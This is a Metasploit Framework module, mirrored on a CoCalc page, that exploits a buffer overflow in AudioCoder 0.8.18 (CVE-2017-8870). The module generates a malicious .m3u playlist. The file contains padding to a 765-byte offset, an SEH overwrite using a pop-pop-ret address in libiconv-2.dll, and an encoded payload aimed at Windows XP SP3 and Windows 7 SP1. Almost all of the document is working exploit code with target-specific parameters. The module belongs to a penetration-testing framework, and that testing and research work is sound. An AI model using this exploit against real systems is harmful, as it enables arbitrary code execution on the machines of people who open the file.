Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/audio_coder_m3u.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'AudioCoder .M3U Buffer Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability
19
occurs when adding an .m3u, allowing arbitrary code execution with the privileges
20
of the user running AudioCoder. This module has been tested successfully on
21
AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'metacom', # Vulnerability discovery and PoC
26
'juan vazquez' # Metasploit module
27
],
28
'References' => [
29
[ 'CVE', '2017-8870' ],
30
[ 'OSVDB', '92939' ],
31
[ 'EDB', '25141' ]
32
],
33
'DefaultOptions' => {
34
'EXITFUNC' => 'process'
35
},
36
'Platform' => 'win',
37
'Payload' => {
38
'Space' => 6596,
39
'BadChars' => "\x00\x5c\x40\x0d\x0a",
40
'DisableNops' => true,
41
'StackAdjustment' => -3500,
42
},
43
'Targets' => [
44
[
45
'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
46
{
47
'Ret' => 0x66011b56, # ppr from libiconv-2.dll
48
'Offset' => 765
49
}
50
]
51
],
52
'Privileged' => false,
53
'DisclosureDate' => '2013-05-01',
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
66
]
67
)
68
end
69
70
def exploit
71
buffer = "http://"
72
buffer << rand_text(target['Offset'])
73
buffer << generate_seh_record(target.ret)
74
buffer << payload.encoded
75
76
file_create(buffer)
77
end
78
end
79
80